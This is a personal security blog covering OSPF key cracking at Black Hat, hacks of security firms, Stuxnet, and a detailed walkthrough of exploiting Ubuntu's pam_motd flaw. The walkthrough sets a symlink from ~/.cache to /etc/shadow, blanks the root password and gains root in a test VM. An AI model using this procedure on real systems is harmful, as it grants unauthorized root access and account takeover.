Black Hat OSPF Vulerabilities

August 31st, 2011

This year at Black Hat, some researchers presented some new ways to inject routes into an OSPF network. I will not go into much technical detail on how they were able to do so but at the very beginning of the talk they made it clear that these methods assumed that the attacker already had the md5 authentication key. After the talk was over, I talked to multiple people about it and was completely surprised at how all of them were brushing it off or playing it down. From just the arguments against the talk, I can conclude that

  • If administrators are not using an authentication key then there are other serious problems
  • A simple authentication password is sufficient enough to stop attackers
  • We haven’t seen it used in the wild so we don’t need to worry

I think that is total and utter bullshit and here is why.

If administrators are not using an authentication key then there are other serious problems:
I am not going to disagree with that at all. It is super easy to turn on the authentication key and there should be no excuse for any semi-competent network administrator to not have done so but we can not assume that, because not everyone has. I can say specifically from my experience in the Network Technical Support realm, 9.8 times out of 10, when walking someone through setting up OSPF on their device, they specifically tell me to not set up an authentication key and enable OSPF on all interfaces. This could be because they want to see it working with the path of least resistance all the way to they don’t think authentication was necessary. Also, every time I went to troubleshoot an OSPF network, I not once saw it enabled. Please keep in mind that I have worked with some very LARGE companies with big teams dedicated to administrating their network and securing it.

A simple authentication password is sufficient enough to stop attackers:
I spoke with one friend who specifically stated “I got up and left once they said they assumed you already had the key.” With all the preaching about how it is so easy to abuse passwords and how we need a better system because passwords suck, I would have expected to hear a different response because thats all the authentication key is, a password. We have been cracking passwords for a long long time now and there has even been a very successful contest at Defcon the past few years aimed at cracking as many passwords as you can in 3 days. You will be amazed to see how many passwords they crack every year. In essence, it isn’t hard to crack a password these days. If you throw a team of Nvidia GPU’s at the problem, it can be solved in no time. Also, don’t forget about the speed of using rainbow tables. Oh, and there are also web based services revolving around cracking passwords. If there were not already a plethora of options for cracking passwords, here is a shot of me brute forcing an OSPF authentication key with loki

And since I am doing this just to prove a point and don’t want to wait for the brute force to complete, here is a shot of me successfully getting the authentication key via a wordlist

We haven’t seen it used in the wild so we don’t need to worry:
Out of any of the responses I have heard, this is the most absurd. I don’t feel I should have to say this to anyone involved in the Security Community but here it goes anyway.

Just because you haven’t seen it does not mean it is not currently or will never be exploited.

If I have to explain this then please give up reading anything else I have to say for the rest of time.

 

 

tl;dr
I think this is a very viable attack method that everyone else has been discrediting and playing down when they shouldn’t be.

Somone Will Get In

February 14th, 2011

It seems more and more recently, Security companies are getting owned. The three notable ones in the past month or so have been Goatse Security, Ligatt, and HBGary. If you were not aware of who Goatse Security are, then you may remember the breach quite a while ago that exposed the email addresses of iPad owners. That breach was guys from Goatse Security. HBGary is an incident response company and Ligatt Security is a company that has gained more visibility in the Security World than it should.

I will look at the Goatse Security compromise first. A screenshot of the site after getting owned can be seen here. There is not a whole lot behind this other than it was done for the “lolz” and a “look what I did” kind of thing. HBGary and Ligatt are much more interesting.

The entire subject of Ligatt so much material to write about that it constitutes more time than I want to give Ligatt Security and Gregory D Evans. For all of the background on Ligatt/Mr. Evans please see Attrition.org. Now what happened recently was that the website Ligatt Leaks has gone live in an attempt to expose all of the things wrong with Mr. Evans. Some of the fallout from Ligatt Leaks is that someone had gotten into Ligatt’s mail server for several days, pulled down all of the mail and released all of it in a torrent.

HBGary is the most interesting out of the three I have noted. I had never heard of HBGary until one of their higher ups went public stating that he had found all of the personal information of the people that run Anonymous and would be selling it to the FBI. Not only did Anonymous rebuke the information stating that it was not correct but that HBGary was going to turn over innocent people to the FBI. This also angered Anonymous and so they took a page from the Ligatt book, got into HBGary’s mail server and released all of the emails stored there detailing their attack on Anonymous and how HBGary was planning to start targeting WikiLeaks donors.

Being a security shop and getting hacked is a pretty big blow to not only your ego but your reputation as well but it occurs all too often. Some further examples include Dan Kaminsky gets hacked, Kaspersky gets hacked, and Kevin Mitnick’s website hacked.

In my eyes, it comes down to the fact that you don’t write all of the software that you use (personally or for business). If you do not write all of the code yourself then you can not be 100% certain that there are no holes nor can you fully trust it (and even if you do write it 100% yourself, you are human and make mistakes). Being in the Security Industry also requires a sense of humility as there will always be someone who will be able to find a hole. The key is to not piss these people off and if they do find a hole, work with them to try and get it fixed. Do not paint a bullseye on your back and ask for you. Many people have done this and many have failed (see LifeLock CEO and StrongWebmail contest).

Having been keeping tabs on this industry for several years, I can tell you that there are plenty of people that I would not dream of pissing off because I know how good they are at attacking technologies and that I would not stand a chance against them. It just boils down to the fact that you need to assume everything is vulnerable and someone will get in.

Thoughts and opinions on Stuxnet

October 9th, 2010

Stuxnet has been on of the biggest topics in InfoSec for a little while. I am not going to go into a whole lot of technical depth on it as I am more interested in the ramifications of it. There is a nice recap on Wikipedia if you need to catch up. Basically Stuxnet is the first confirmed (to the general public) attack on Supervisory Control and Data Acquisition (SCADA) systems. As it turns out, the systems that were attacked by Stuxnet had been infected for quite some time before being detected.

This scares me quite a bit as the writers of Stuxnet could have completely destroyed Nuclear Control Systems in any of the plants that it infected. I am not by any means an expert of anything but one of the first thoughts that come to my mind when I hear about this is the possibility of a remotely triggered nuclear accident to the extent of Chernobyl. If that does not scare anyone else, I am not sure what does.

I am sure there have been several controls put into place to prevent something like the Chernobyl accident happening again. We have had almost 25 years to learn from it and improve our technology and understanding of nuclear technology but one thing I have learned from the InfoSec world is to never say something can’t be done.

Exploiting Ubuntu pam_motd vulnerability

July 12th, 2010

There is a PAM vulnerability in unpatched copies of Ubuntu. According to the Ubuntu (Article Here) it is an issue with the pam_motd module and it allows /etc/shadow to be modified by an unprivileged user. The shadow file is responsible for keeping the hashed copies of user passwords and is usually referenced in /etc/passwd with a single character of ‘x’.

I went ahead and installed a fresh copy of Ubuntu 10.04 Server in a VM to test this out with. The only modification I made was install ssh.

First thing we want to do is login


Ubuntu 10.04 LTS ubuntu tty1

ubuntu login: metacortex
Password:

Once I am in I go ahead and check my current uid


metacortex@ubuntu:~$ id
uid=1001(metacortex) gid=1001(metacortex) groups=1001(metacortex)

Now we can look and see what the default .cache directory contains


metacortex@ubuntu:~$ ls .cache/
motd.legal-displayed

It doesn’t really matter anyway because we are going to go ahead and get rid of it like so


metacortex@ubuntu:~$ rm -rfv .cache/
removed `.cache/motd.legal-displayed’
removed directory: `.cache’

Now to actually take advantage of the vulnerability, we are going to create a soft link to /etc/shadow in place of the .cache directory


metacortex@ubuntu:~$ ln -s /etc/shadow .cache
metacortex@ubuntu:~$ ls -alh
total 20k
drwxr-xr-x 2 metacortex metacortex 4.0k 2010-07-12 14:47 .
drwxr-xr-x 4 root root 4.0k 2010-07-12 14:42 ..
-rw-r–r– 1 metacortex metacortex 220 2010-04-18 20:15 .bash_logout
-rw-r–r– 1 metacortex metacortex 3.1k 2010-04-18 20:15 .bashrc
lrwxrwxrwx 1 metacortex metacortex 11 2010-07-12 14:47 .cache -> /etc/shadow
-rw-r–r– 1 metacortex metacortex 675 2010-04-18 20:15 .profile

With this soft link in place, we have full access to read and write to /etc/shadow


metacortex@ubuntu:~$ vim .cache

In VIM we will see the following


root:*:14802:0:99999:7:::
daemon:*:14802:0:99999:7:::
bin:*:14802:0:99999:7:::
sys:*:14802:0:99999:7:::
sync:*:14802:0:99999:7:::
games:*:14802:0:99999:7:::
man:*:14802:0:99999:7:::
lp:*:14802:0:99999:7:::
mail:*:14802:0:99999:7:::
news:*:14802:0:99999:7:::
uucp:*:14802:0:99999:7:::
proxy:*:14802:0:99999:7:::
www-data:*:14802:0:99999:7:::
backup:*:14802:0:99999:7:::
list:*:14802:0:99999:7:::
irc:*:14802:0:99999:7:::
gnats:*:14802:0:99999:7:::
nobody:*:14802:0:99999:7:::
libuuid:!:14802:0:99999:7:::
syslog:*:14802:0:99999:7:::
landscape:*:14802:0:99999:7:::
metacortex:$6$BMitImGG$7UbQbDGYRu2xyhyzI4ZYC7f1DlH15VfFZQXPlk6nanpPvxLwJI.es
pM7PuHBGruqKR/UpzgEwpf5Ng61:14802:0:99999:7:::
sshd:*:14802:0:99999:7:::
~
~
~
“.cache” 24L, 839C 1,1 All

Now that we have write access to the shadow file, we can do whatever we want with it such as completly removing the root password like this


root::14802:0:99999:7:::
daemon:*:14802:0:99999:7:::
bin:*:14802:0:99999:7:::
sys:*:14802:0:99999:7:::
sync:*:14802:0:99999:7:::
games:*:14802:0:99999:7:::
man:*:14802:0:99999:7:::
lp:*:14802:0:99999:7:::
mail:*:14802:0:99999:7:::
news:*:14802:0:99999:7:::
uucp:*:14802:0:99999:7:::
proxy:*:14802:0:99999:7:::
www-data:*:14802:0:99999:7:::
backup:*:14802:0:99999:7:::
list:*:14802:0:99999:7:::
irc:*:14802:0:99999:7:::
gnats:*:14802:0:99999:7:::
nobody:*:14802:0:99999:7:::
libuuid:!:14802:0:99999:7:::
syslog:*:14802:0:99999:7:::
landscape:*:14802:0:99999:7:::
metacortex:$6$BMitImGG$7UbQbDGYRu2xyhyzI4ZYC7f1DlH15VfFZQXPlk6nanpPvxLwJI.es
pM7PuHBGruqKR/UpzgEwpf5Ng61:14802:0:99999:7:::
sshd:*:14802:0:99999:7:::
~
~
~
“.cache” 24L, 839C 1,1 All

After we save it, we need to re-invoke pam_motd by logging in again


metacortex@ubuntu:~$ ssh localhost
Password:

Now we can feel free to log in as root whenever we would like


metacortex@ubuntu:~$ su -
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#

I am not sure of the exact technical details as to whats wrong with pam_motd but from what I can tell it allows the motd root access. What I can not figure out is why it does not work the same for /etc/passwd.

*EDIT*
I may have forgotten to re-invoke pam_motd after changing the soft link from shadow to passwd. I am able to own /etc/passwd just as easily as /etc/shadow. I also found this nice little shell script that automates it at packetstorm.

 
     
); ?http://www.statcounter.com/free_hit_counter.html